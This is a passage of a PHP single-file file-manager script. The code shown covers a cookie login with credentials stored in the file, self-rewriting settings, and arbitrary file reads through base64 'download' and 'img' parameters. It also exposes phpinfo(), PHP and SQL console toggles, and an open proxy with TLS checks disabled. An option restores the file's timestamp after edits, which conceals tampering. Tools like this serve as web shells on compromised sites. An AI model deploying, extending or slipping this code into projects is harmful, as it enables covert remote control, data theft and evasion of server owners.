//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File managerx').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
